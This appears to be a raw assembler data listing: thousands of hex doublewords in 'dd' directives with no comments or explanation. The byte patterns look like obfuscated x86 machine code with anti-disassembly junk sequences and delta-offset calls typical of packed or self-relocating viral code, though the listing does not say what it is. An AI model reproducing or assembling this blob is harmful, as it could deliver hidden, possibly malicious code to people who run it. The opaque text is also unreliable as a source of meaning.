		dd 0F025605Ch, 0E162EF1Ch, 840FC00Bh, 1Dh, 2C019501h, 95FF0606h
		dd 6062345h, 6840F60h, 8B000000h, 61C8D95h, 0C9B70F06h
		dd 8985C761h, 106062Eh,	0BA000000h, 446C4F17h, 340DBD83h
		dd 0F000606h, 1584h, 952B5000h,	6062B0Dh, 6EBA665Bh, 0E195FF16h
		dd 66060631h, 0BD83D98Bh, 606155Dh, 5D840F00h, 6A000000h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 14042444h
		dd 47000000h, 0E9A8C357h, 0Dh, 2713922Bh, 58B2FD6Eh, 0E7D22686h
		dd 9D95FF0Dh, 6A060623h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1B042444h, 40000000h, 5C74C350h, 97A2655Bh
		dd 9589BBDAh, 60623D5h,	9DBD83h, 0F000606h, 2484h, 0F2816600h
		dd 0BD8303E2h, 6062AC1h, 12850F00h, 3000000h, 6295D9Dh
		dd 1995FF06h, 89060604h, 633D595h, 6DBD8306h, 6062Bh, 23840Fh
		dd 0D2800000h, 5185810Ch, 306062Ch, 8B000040h, 631E595h
		dd 0B9858106h, 3060620h, 89000040h, 6217995h, 0F310F06h
		dd 8D8DDEB7h, 6065D94h,	899CDE80h, 3390B701h, 0C4BA66C2h
		dd 441897Eh, 0E2816660h, 88BF2658h, 6135D1CCh, 8A0F310Fh
		dd 6, 1621958Bh, 0BF0F0606h, 0A48D8DD2h, 6A06065Dh, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 18042444h, 43000000h
		dd 0DCA0C353h, 8930C3F1h, 52006A01h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1C04h,	0C3524200h, 0F7DE2D2Dh
		dd 6324A943h, 719D8B10h, 33060631h, 4189F8C2h, 0DA816604h
		dd 9501195Eh, 606316Dh,	2949BD83h, 0F000606h, 2984h, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1504h, 0C3564600h
		dd 95FF39D6h, 6062D59h,	0CC1DC381h, 0BD833A0Dh,	6060745h
		dd 91850F01h, 3000000h,	620919Dh, 86E906h, 6A0000h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h
		dd 3CB259C3h, 0DA9BD425h, 0B58B8347h, 6065E98h,	6C7h, 0B58B0000h
		dd 6065CC7h, 6C7h, 6ACF0000h, 3E85200h,	20000000h, 895AC35Ah
		dd 81042454h, 1D042444h, 42000000h, 74E7C352h, 0B9F94176h
		dd 554254A8h, 0E856006Ah, 3, 5EC35E20h,	4247489h, 4244481h
		dd 1Ch,	0F5C35646h, 2A17197Ch, 7AA7485Fh, 2E89BD83h, 0F000606h
		dd 13884h, 3860F00h, 0F000000h,	0BD83DFBFh, 606247Dh, 0F850F01h
		dd 0F000001h, 88Fh, 28C0F00h, 60000000h, 0C9BD8961h, 8B060633h
		dd 64E608Dh, 57006A06h,	3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1C04h, 0C3574700h, 98C03C5Fh, 0D65D30BFh, 1C6F553h
		dd 2D952300h, 6006062Dh, 3E2D68F5h, 0D98B4BF2h,	0AD243481h
		dd 804BF23Eh, 820F43E3h, 6, 3185958Bh, 0FF6A0606h, 2BD1B589h
		dd 95FF0606h, 606123Dh,	0D9D8D29h, 81660606h, 61CA5BD3h
		dd 10719D8Bh, 0CA800606h, 995FF83h, 6A06061Ch, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 19042444h, 41000000h
		dd 5F4DC351h, 95A5A5F5h, 8D8B57B3h, 6064E60h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 0ADC35343h, 61C4690Ah
		dd 69BD8933h, 0FE060601h, 55006A01h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1904h,	0C3554500h, 2EE4CC7Bh
		dd 840FF244h, 6, 23D59D2Bh, 0BD830606h,	60623C5h, 6850F01h
		dd 8B000000h, 60BB595h,	8BC08B06h, 603359Dh, 0D1BD8306h
		dd 60630h, 0BD830975h, 60604B5h, 501A7400h, 8BC08B53h
		dd 62C5185h, 51858906h,	8D06062Ch, 8B2619Dh, 5BD3FF06h
		dd 0B5BD8358h, 60604h, 53501874h, 2C51858Bh, 85890606h
		dd 6062C51h, 0AF509D8Dh, 0D3FF0608h, 958B585Bh,	60601BDh
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 11C35343h
		dd 0C057476Eh, 0B5091DEDh, 60628A9h, 99B3C08Bh,	2E89BD83h
		dd 0F000606h, 3785h, 0EBA6600h,	0F1BD8322h, 60610h, 26840Fh
		dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h
		dd 55450000h, 66DDE9C3h, 0BB8B9486h, 664F617Fh,	2E89BD83h
		dd 0F000606h, 6784h, 57006A00h,	3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1D04h, 0C3574700h, 0F79B8F2Eh, 0E45800F6h
		dd 0CB81BDAAh, 17EF343Ah, 2191BD83h, 0F000606h,	2F84h
		dd 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1C04h
		dd 0C3524200h, 711A1B32h, 6481A047h, 618589D3h,	66060604h
		dd 23C4DA81h, 2E89BD83h, 0F000606h, 1984h, 199D8B00h, 83060631h
		dd 62191BDh, 840F0006h,	6, 1D6D8D89h, 0BD830606h, 6062E89h
		dd 13840F00h, 0B2000000h, 59BD8348h, 60607h, 4840Fh, 0BA660000h
		dd 0BD835C38h, 6062E89h, 74840F00h, 8B000000h, 6343195h
		dd 0E9BD8306h, 6061Eh, 61840Fh,	6A0000h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 170424h, 57470000h, 4727A2C3h
		dd 958B60C6h, 6060FFDh,	28898D8Bh, 81610606h, 0C90DFEF3h
		dd 0E595FF76h, 6A060630h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1A042444h, 43000000h, 1F90C353h, 0E53226E6h
		dd 799D8B84h, 8B06062Eh, 0E7D281C0h, 832C5B8Eh,	630D1BDh
		dd 9750006h, 4B5BD83h, 74000606h, 8B53501Ah, 0B9858BC0h
		dd 89060620h, 620B985h,	0C89D8D06h, 0FF0608B2h,	83585BD3h
		dd 604B5BDh, 18740006h,	858B5350h, 60620B9h, 20B98589h
		dd 9D8D0606h, 608AF69h,	585BD3FFh, 8B3BBB66h, 0E7D915BBh
		dd 3C08B67h, 614ED9Dh, 89BD8306h, 6062Eh, 433840Fh, 6E90000h
		dd 0CD000000h, 0E80A0298h, 35BD8327h, 2060624h,	14840Fh
		dd 8BF50000h, 6209D9Dh,	45BD8306h, 1060607h, 850Fh, 0BD830000h
		dd 60621DDh, 0BC840F00h, 6A000000h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1C042444h, 40000000h, 2D17C350h
		dd 25D44F10h, 800B463Ch, 6A6056D2h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 17042444h, 45000000h, 0EDA1C355h
		dd 8D8B4D34h, 6064E60h,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Ch, 60C35747h, 62CE1965h,	75E8480Ah, 2B69B529h
		dd 1FE0606h, 2C819D23h,	0CB680606h, 6043CF93h, 5250A7B4h
		dd 0FF38B66h, 830F31h, 5A000000h, 34816158h, 0CF934B24h
		dd 30CA8143h, 8146D07Dh, 0B2B9C7DBh, 29FF6A7Fh,	61EC18Dh
		dd 3D95FF06h, 8A060612h, 60FC61F9h, 1DC5BD89h, 8D8B0606h
		dd 6064E60h, 0EE9h, 8E432600h, 0D4A0D40Ch, 7D98DE54h, 80A85DFAh
		dd 1FEFAC6h, 0C83E4D68h, 840F60DFh, 2, 0B8665853h, 8161FB76h
		dd 0C2332404h, 0E2812037h, 5584A875h, 0BD31FF6Ah, 6062CDDh
		dd 123D95FFh, 61F80606h, 0E851006Ah, 3,	59C35920h, 4244C89h
		dd 4244481h, 1Ah, 0FBC35141h, 0EE84894Fh, 85894472h, 60615C9h
		dd 2805BD8Dh, 4F8B0606h, 0B1BA661Ch, 4195233Dh,	6A06061Ah
		dd 55006A01h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1604h
		dd 0C3554500h, 91C4BF4Ch, 918FB350h, 3B9B858Dh,	0DE90609h
		dd 8F000000h, 714CC855h, 8E4920E1h, 9BF4917Ah, 0BB66D0FFh
		dd 0B5893C4Eh, 60613CDh, 66204F8Bh, 6A38E4BBh, 11B50903h
		dd 91060610h, 0B35025B2h, 6E89121h, 0A8000000h,	0CE45AABCh
		dd 0CE816h, 0C64C0000h,	0BBBE3ACAh, 0FEDCB700h,	6E9455Ch
		dd 0A2000000h, 8C6E94BBh, 8D5B5AC6h, 93B9B85h, 0B59D8B06h
		dd 0F060617h, 687h, 419D8B00h, 0FF06061Eh, 51006AD0h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1804h, 0C3514100h
		dd 0C57BD01Fh, 8DD98B27h, 62805BDh, 0EA816606h,	4F8BE738h
		dd 51006A1Ch, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1504h
		dd 0C3514100h, 16AA008h, 6E9h, 0CE0EB300h, 0B2391589h
		dd 8B6650C5h, 240C89D9h, 27D5958Bh, 858D0606h, 6093B9Bh
		dd 0FFD78B66h, 858960D0h, 60625ADh, 6FD9D89h, 8B610606h
		dd 958B204Fh, 6062515h,	8D0F036Ah, 3, 0E866EB80h, 9, 49EFA9FCh
		dd 0C4523383h, 18F0FD0h, 0F5000000h, 0BB66505Bh, 0C898983h
		dd 53006A24h, 3E8h, 0C35B2000h,	245C895Bh
		dd 24448104h, 1704h, 0C3534300h, 0ED597BC4h, 14E9h, 899D500h
		dd 0D2619536h, 0D1A3CC68h, 7D604404h, 722AE0F2h, 9B858D48h
		dd 0E906093Bh, 0Fh, 5827ED12h, 0A84972E5h, 4470DF84h, 0FF7CFFCCh
		dd 0D6B70FD0h, 4E608D8Bh, 6A0606h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 170424h, 51410000h, 7A70BC3h, 6A01FEE1h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 17042444h
		dd 47000000h, 6F78C357h, 9D014CF1h, 6062519h, 4E60858Bh
		dd 6A0606h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h
		dd 52420000h, 8B66A0C3h, 6000FEDFh, 76D850Bh, 0B5010606h
		dd 6062DC9h, 6A016A61h,	3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 16042444h, 45000000h, 9918C355h, 0A1958935h
		dd 68060603h, 0ABAEC821h, 28F0Fh, 0A9B60000h, 0DE240481h
		dd 665450D7h, 8D0030BBh, 93BA585h, 50006A06h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1C04h,	0C3504000h, 81F9B9D8h
		dd 0F7CF2B83h, 0FFDE8AFAh, 858960D0h, 6062FE1h,	6820Fh
		dd 0BD890000h, 606113Dh, 0F1BD8361h, 60610h, 87840Fh, 840F0000h
		dd 5, 0CBF38166h, 3DBD83D5h, 106061Dh, 6F850Fh,	81660000h
		dd 8BFD8DF2h, 0AF8D8DD0h, 8006093Bh, 36A58EFh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 85C35242h, 28B97940h
		dd 804CFA02h, 16A5BDFh,	30CD9D89h, 0D1FF0606h, 4B1B529h
		dd 16A0606h, 89016AF8h,	600218Dh, 85296006h, 6062C19h
		dd 61F3B70Fh, 0B589D1FFh, 6062509h, 555DE8E8h, 0CFBB66FAh
		dd 6A206A01h, 51006AFFh, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1704h, 0C3514100h, 0A1F4C767h, 958B22B6h, 6060271h
		dd 123D95FFh, 9D890606h, 606215Dh, 0B8h, 0D68B5200h, 0FC00B5Ah
		dd 4A84h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1604h, 0C3514100h, 8B9F331Eh, 615B99Dh, 9DBD8306h, 6062Fh
		dd 19840Fh, 81660000h, 0FFDF03DAh, 6223D95h, 9D895206h
		dd 6061FE9h, 0C4D2815Bh, 8B47895Fh, 615F185h, 0FE806h
		dd 1D140000h, 1F2D54B9h, 0AA6880BDh, 96930519h,	52BA6611h
		dd 0C65AE2h, 52006A00h,	3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1804h, 0C3524200h, 0A002DEFEh, 0C28166F2h, 8958521Eh
		dd 6008D9Dh, 0D98C6606h, 0E855006Ah, 3,	5DC35D20h, 4246C89h
		dd 4244481h, 15h, 8EC35545h, 1D9D8B86h,	0F506061Bh, 0F04C1F6h
		dd 9F84h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1C04h, 0C3524200h, 2229982Ah, 9C7E224h, 8D958BB2h, 0E9060621h
		dd 70h,	213624BAh, 0FDB58B2Ch, 6A060628h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1C042444h, 40000000h, 6AE0C350h
		dd 5D8436E9h, 8B3512C2h, 61B659Dh, 80C68106h, 0E8000011h
		dd 0Fh,	0A40EA9DDh, 5A8B6DB9h, 56083998h, 6635D941h, 895BD98Bh
		dd 60B95BDh, 6C706h, 0F000000h,	0B83h, 5830F00h, 0BB000000h
		dd 4C505040h, 0BD9D035Eh, 8306060Fh, 840F00F8h,	0BB7h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 6AC35747h
		dd 1BA806C0h, 0AEF4DE18h, 74BE60CBh, 0F7176A3h,	68Ah, 219D8B00h
		dd 61060603h, 0F8830DB3h, 82850F01h, 8B000001h,	0B8D7h
		dd 9D8B0000h, 6061429h,	840FC00Bh, 119h, 29519533h, 0E3810606h
		dd 0E8592B8h, 0F01F883h, 13E84h, 50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1A04h,	0C3504000h, 0DCD9260Fh
		dd 83477538h, 840F03F8h, 81h, 31499533h, 0B80606h, 6A000000h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1D042444h
		dd 47000000h, 26B2C357h, 4C47CD46h, 0CCE1B46h, 0BD8D30B3h
		dd 5B7974h, 289DBD09h, 0E8500606h, 0Ch,	0F2C10EDCh, 0D524ABDCh
		dd 12CFA0h, 5B5B7BB3h, 6AE7FFh,	3E853h,	5B200000h, 5C895BC3h
		dd 44810424h, 1C0424h, 53430000h, 4AA02AC3h, 0B0BCEE26h
		dd 0B70F1942h, 0F0BB66D0h, 1B8B6h, 9D330000h, 6061AFDh
		dd 14E8h, 51821300h, 0F64D264Bh, 0D682B6FEh, 1ED6DEEAh
		dd 7222373Dh, 859D8B30h, 5A060608h, 7974BD8Dh, 6A005Bh
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h, 52420000h
		dd 349E31C3h, 0FF9E3FA4h, 0E2BB66E7h, 0ECBD8D68h, 8B060644h
		dd 60D8595h, 270E906h, 6A0000h,	3E855h,	5D200000h, 6C895DC3h
		dd 44810424h, 1A0424h, 55450000h, 2E313BC3h, 5E6A0Fh, 0DA816656h
		dd 0C75BC259h, 64EBB85h, 506h, 0B8D08A00h, 5, 938E9F9h
		dd 8B660000h, 2F883DEh,	0F6850Fh, 6A0000h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1C0424h, 52420000h, 320F66C3h
		dd 8764B514h, 0B86F02h,	80000000h, 0C00B4BC7h, 84840Fh
		dd 0B5890000h, 6060E95h, 0F01F883h, 0FFFF9A84h,	99B589FFh
		dd 8306061Eh, 840F03F8h, 0FFFFFEF9h, 59958B53h,	5A06061Dh
		dd 6AC02Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h
		dd 52420000h, 0F600F4C3h, 8359D8Bh, 0BD8D0606h,	5B7974h
		dd 6850Fh, 958B0000h, 60628E1h,	6AE7FFh, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1B0424h, 52420000h, 91A1CBC3h
		dd 82738C71h, 0BD8DFCF1h, 60646E4h, 0E853006Ah,	3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Dh, 34C35343h, 0FF75E063h, 0D4DA76AFh
		dd 0F2DE8006h, 1559501h, 33E90606h, 66000001h, 0C179F281h
		dd 0F03F883h, 2785h, 0D98B6600h, 4878BD8Dh, 9D890606h
		dd 60620D5h, 22F28166h,	10CE90Dh, 8B600000h, 62871B5h
		dd 0BB665206h, 615B3A56h, 0F05F883h, 0E85h, 58EA8000h
		dd 7F5E9h, 55958B00h, 83060621h, 850F06F8h, 33h, 9E852h
		dd 0FD4C0000h, 0E1F16AD8h, 8BC69BA0h, 601FD9Dh,	8D5B5A06h
		dd 64A70BDh, 9E906h, 0DDB90000h, 11E19036h, 0E9AA3B07h
		dd 0AEh, 83DBB70Fh, 850F07F8h, 53h, 0E856006Ah,	3, 5EC35E20h
		dd 4247489h, 4244481h, 1Dh, 7CC35646h, 0D69C2863h, 0FCBE151Ch
		dd 0C5BD8D4Bh, 0E9060604h, 121h, 0E850006Ah, 3,	58C35820h
		dd 4244489h, 4244481h, 1Bh, 0B3C35040h,	0CB6A0AB4h, 83CCEE76h
		dd 850F0AF8h, 46h, 30059D8Bh, 0BD8D0606h, 6064C68h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 46C35646h, 6AD5164Dh
		dd 11EB700Ch, 0A4C38166h, 0E9958954h, 0E9060630h, 6, 15619D03h
		dd 66570606h, 0B9577BBBh, 30C00B58h, 10B58589h,	8B600606h
		dd 60F5995h, 31958906h,	61060613h, 0F003F83h, 6784h, 0D78B6600h
		dd 6A0F30h, 3E850h, 58200000h, 448958C3h, 44810424h, 190424h
		dd 50400000h, 0B5917DC3h, 0D133BBDFh, 0DEBF0FC9h, 0EB816647h
		dd 0C1E9D4F9h, 6AFFFFFFh, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 15042444h
		dd 45000000h, 812AC355h, 0FE9h,	0C7ECF800h, 0C78E2C23h
		dd 2E645665h, 25B92CC4h, 14E85Fh, 0E0140000h, 0BEB2733Ch
		dd 0C4A77263h, 76E12F17h, 72C5DC34h, 0CB81DC69h, 4E9CD328h
		dd 64BD895Ah, 6A06064Eh, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 16042444h, 47000000h, 93A3C357h, 158D8914h
		dd 8D060621h, 61F698Dh,	95B5FF06h, 0F060603h, 28Fh, 8DDC8A00h
		dd 8A49A85h, 0BD8D5006h, 60655E4h, 6E608D8Dh, 0BCB80606h
		dd 2B54831Ah, 0D00730CFh, 754947C8h, 0E7B58DF8h, 8D06066Dh
		dd 66E788Dh, 0F3CF2B06h, 0B8C933A4h, 0
		dd 4674C00Bh, 2F9DBD83h, 74000606h, 3D95FF06h, 8B060622h
		dd 64E64B5h, 9A858D06h,	0FF0608A4h, 0CA858DD0h,	0FF060642h
		dd 2985C7D0h, 1060615h,	8B000000h, 6204DA5h, 21B58B06h
		dd 8B060629h, 60E09ADh,	0C2C03306h, 9D2B000Ch, 60630D9h
		dd 63F38166h, 51006A86h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1904h, 0C3514100h, 0C7F1B836h, 0CE85D6Eh, 94000000h
		dd 17184A0Ah, 497BC23h,	66B18B32h, 5B5DB1BAh, 26B9BD83h
		dd 0F000606h, 2084h, 8E800h, 969E0000h,	0E68FC376h, 0B5090E96h
		dd 6061765h, 0C995FF5Ah, 81060630h, 0C9B3C0D2h,	6DBD832Ah
		dd 60620h, 205850Fh, 950B0000h,	60614E9h, 1D3DBD83h, 0F010606h
		dd 1F285h, 51858900h, 83060615h, 61ED5BDh, 840F0006h, 1DFh
		dd 4EB7BD83h, 0F000606h, 1D284h, 8D45B600h, 8A49A85h, 12E906h
		dd 0FBF50000h, 0E233137Eh, 0DD76680Ch, 886F599Dh, 0BF9E6ACFh
		dd 4E64B58Bh, 0BB660606h, 0D0FF4EA6h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 14h, 44C35141h, 3165BD89h, 85C60606h
		dd 60601C1h, 2468F854h,	8AF8EFF7h, 243481F9h, 7A149D0h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 14h, 80C35040h
		dd 34298D29h, 0B5FF0606h, 606321Dh, 0E856006Ah,	3, 5EC35E20h
		dd 4247489h, 4244481h, 19h, 8CC35646h, 48581497h, 66D98BA6h
		dd 0C973D381h, 39F5858Dh, 6A0606h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 160424h, 55450000h, 0EC4113C3h, 0A8BA6651h
		dd 0F48A5B2Ch, 0D680D0FFh, 13E807h, 6AF30000h, 0D6ECF99Ah
		dd 8870F32Ch, 0B3D5C9E6h, 94F932D2h, 0E98D29C4h, 5A060606h
		dd 6A006Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h
		dd 52420000h, 9C9654C3h, 2ABD8D89h, 95890606h, 6061C9Dh
		dd 6AFF6Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h
		dd 53430000h, 89F5FBC3h, 6123195h, 6AD0FF06h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 19042444h, 43000000h
		dd 0A34FC353h, 50342A6Ah, 0FE8h, 994CD000h, 0BC4AF6F1h
		dd 51A077CCh, 909A6B59h, 665A3EB2h, 0A5AACB81h,	2DCDB5FFh
		dd 6A0606h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h
		dd 51410000h, 9ADA14C3h, 89350049h, 615BDB5h, 0C0D28106h
		dd 0FF332FA5h, 6039595h, 79BD8906h, 8B06062Dh, 64E64B5h
		dd 51006A06h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1804h
		dd 0C3514100h, 3BC7B42Eh, 559D8B6Ah, 0C3060615h, 0F1B58BF9h
		dd 6A060615h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1C042444h, 47000000h, 0C7ECC357h, 0C78E2C23h, 31645665h
		dd 61C558Dh, 0FF60B06h,	0B84h, 4FA9BA00h, 6C66191h, 0DABF0F00h
		dd 4E6C8589h, 81660606h, 830D73D3h, 840F00F8h, 34Fh, 13E9h
		dd 0AAF24F00h, 0BED05CBBh, 0EB44EDF1h, 34E871B5h, 0ED6DB31Eh
		dd 0B8h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1D04h, 0C3574700h, 0FBEA64Ch, 1D27187Ah, 820FFA5Ah
		dd 3, 83DEB70Fh, 840F00F8h, 0F4h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Dh, 46C35747h, 7BC77486h, 608E0F72h
		dd 8E927h, 0BBA60000h, 820E1F68h, 0F883B3BEh, 0A3850F02h
		dd 6A000000h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1A042444h, 47000000h, 960AC357h, 0EDE7F23Ah,	19D8BEAh
		dd 8D06062Ch, 644E785h,	57006A06h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1C04h, 0C3574700h, 19F78400h, 63264988h
		dd 13E99Ah, 141F0000h, 0D531980h, 0BA0268A8h, 7E44EAF4h
		dd 7264DA26h, 9292D32h,	880F0000h, 6, 719589h, 0DE80606h
		dd 0C000000h, 0E8813C2Eh, 6A2A8864h, 0B13023EBh, 5ADF8B66h
		dd 8B3FBA50h, 4892D03h,	12F8BB24h, 66C365BBh, 0B8D98Bh
		dd 8B000000h, 60E4995h,	20DE906h, 95890000h, 6062B69h
		dd 1B8h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1504h, 0C3564600h, 9D8B7D10h, 606083Dh, 17D99D8Bh, 0BD8D0606h
		dd 60644ECh, 0E933EF80h, 0A0h, 298240BBh, 2F88329h, 15850Fh
		dd 95090000h, 6062D39h,	46E4BD8Dh, 32B30606h, 7FE9h, 83D18B00h
		dd 850F03F8h, 18h, 11F6F4BAh, 78BD8D26h, 1060648h, 62DAD9Dh
		dd 5EE906h, 0A1B70000h,	0F05F883h, 5385h, 51006A00h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1804h, 0C3514100h
		dd 41FBEB6h, 0D281667Ah, 97E988F5h, 6A000000h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1B042444h, 41000000h
		dd 0AD8DC351h, 0B35BE270h, 0B5893898h, 6062E6Dh, 0CE957h
		dd 70A40000h, 55FBBA53h, 0A86EF82Ch, 58B96133h,	8A30C00Bh
		dd 3F83FDh, 4C840Fh, 9D8B0000h,	6061F15h, 0E2810F30h, 31E7F98h
		dd 6AC9D1h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h
		dd 55450000h, 445605C3h, 89D78B66h, 62349B5h, 0BB664706h
		dd 0B6E9F280h, 9FFFFFFh, 606FDB5h, 0D1ABBA06h, 0F8830517h
		dd 0B4850F05h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 19042444h, 47000000h, 4261C357h, 5E48E020h
		dd 2A01F381h, 8C663C27h, 0C1F6F9D9h, 51850F04h,	6A000000h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 19042444h
		dd 47000000h, 0DED1C357h, 0F6BB3473h, 0B8h, 0BD8B6000h
		dd 6061A75h, 6E860h, 4F770000h,	6FB759D5h, 2D85315Ah, 6106062Ch
		dd 39E961h, 81600000h, 0A88D89C8h, 61FA8B35h, 1E65858Bh
		dd 9D030606h, 6061ED9h,	6AE0FFh, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 190424h, 52420000h, 0EC3325C3h, 83AE0B70h
		dd 60395BDh, 850F0006h,	0E7h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Ch, 0CBC35747h,	468DAD2h, 5620E86Dh
		dd 6050F3B3h, 50DA8B66h, 9E852h, 0B1AD0000h, 0D0EDC5D9h
		dd 5FB7D6D9h, 0CAB3310Fh, 8961585Ah, 0BE82404h,	0C6000000h
		dd 5CBDC32Ch, 0B159332h, 5AF9C0DDh, 1C185C6h, 80450606h
		dd 0F68F2DBh, 0BBCABFACh, 3AA4A3D3h, 66243481h,	6A44CDC5h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1A042444h
		dd 45000000h, 0B7C2C355h, 0C1C6B52Eh, 1DB5FFFAh, 8B060632h
		dd 626259Dh, 0F5858D06h, 23060639h, 6116195h, 0FD0FF06h
		dd 8589DFB7h, 6060395h,	13B99D89h, 6A580606h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1D042444h, 46000000h
		dd 0B1CFC356h, 0EDD8464Bh, 20703B25h, 83A4D280h, 64EBBBDh
		dd 840F0006h, 5Bh, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Ch, 33C35343h, 7370846Bh,	3996ABA6h, 3918589h
		dd 0B5FF0606h, 6062DCDh, 0F9BCE80h, 381h, 0D78B6600h, 39595FFh
		dd 14E90606h, 0ED000000h, 0ECAC68B2h, 61148EBBh, 0DF54A3h
		dd 0D21441EBh, 83B00EFDh, 850F00F8h
		dd 0EEh, 2AFDB509h, 0BD830606h,	6062C8Dh, 64840F00h, 56000000h
		dd 0C0E1D381h, 0BA5A1226h, 546D04CAh, 2C8DB5FFh, 19BB0606h
		dd 0B800A5F1h, 1, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 14h,	7FC35545h, 11E9h, 3BEF6B00h, 0B59AFEF2h, 95FCD08Ah
		dd 56FA2CAFh, 0CAE9D683h, 0E9000001h, 0Bh, 0F4BDEB6Ch
		dd 6320FBC7h, 0FFA719ACh, 62DCDB5h, 55006A06h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1604h,	0C3554500h, 0E9DA8BEDh
		dd 12h,	0B854AEE7h, 1EABEEEFh, 45C7AE78h, 6A184759h, 0B5FF98B1h
		dd 6062DCDh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 18h,	77C35545h, 8DC5B98Ch, 395B5FFh,	958B0606h, 6060B65h
		dd 148E9h, 0D4E0BA00h, 8B5F6B92h, 607319Dh, 699D2906h
		dd 83060611h, 62F01BDh,	850F0006h, 60h,	0C6DAB70Fh, 601C185h
		dd 68F54D06h, 87AE31EFh, 5D1BB66h, 47243481h, 6A239B47h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1A042444h
		dd 46000000h, 60CFC356h, 0FEBE071Eh, 0FFDD8ACEh, 6154DB5h
		dd 858DFC06h, 60639F5h,	0F3D68057h, 8BD0FF5Bh, 60FD59Dh
		dd 1858906h, 0F806062Fh, 0B8h, 51006A00h, 3E8h,	0C3592000h
		dd 244C8959h, 24448104h, 1704h,	0C3514100h, 0CE0B5038h
		dd 64BD89F9h, 0E906064Eh, 13h, 745AAF33h, 623013Bh, 24010259h
		dd 6CA3F97Bh, 0B1D9FF6h, 11840FC0h, 89000000h, 623C98Dh
		dd 73E906h, 8D890000h, 606020Dh, 395B5FFh, 6A0606h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h
		dd 0B1352DC3h, 0E127AC71h, 12E98FFEh, 1000000h,	0E0AD7D5Dh
		dd 5533BCDFh, 5428CBD4h, 0DD2FA3C2h, 0C58D319Ch, 8D060621h
		dd 8A49A85h, 618D2906h,	50060604h, 0EE9h, 4E1E8900h, 61B60FAAh
		dd 99ECAA2Dh, 89A8F051h, 0BF0F2404h, 8D5650D2h,	655E4BDh
